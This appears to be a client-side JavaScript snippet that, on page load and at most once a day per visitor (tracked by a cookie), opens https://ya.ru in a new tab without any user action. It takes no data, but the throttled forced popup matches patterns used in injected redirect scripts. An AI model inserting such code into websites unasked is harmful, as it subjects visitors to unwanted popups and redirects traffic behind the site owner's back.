function setCookie(name, value, days) {
const date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
const expires = "; expires=" + date.toUTCString();
document.cookie = `${name}=${value || ""}${expires}; path=/`;
}
function getCookie(name) {
const nameEQ = `${name}=`;
const cookies = document.cookie.split(';');
for (const cookie of cookies) {
let c = cookie.trim();
if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length);
}
return null;
}
function checkRedirect() {
const lastRedirect = getCookie("lastRedirect");
const now = Date.now();
if (!lastRedirect || now - parseInt(lastRedirect) > 24 * 60 * 60 * 1000) {
setCookie("lastRedirect", now, 1);
setTimeout(() => {
window.open("https://ya.ru", "_blank");
}, 1000);
}
}
window.addEventListener('load', checkRedirect);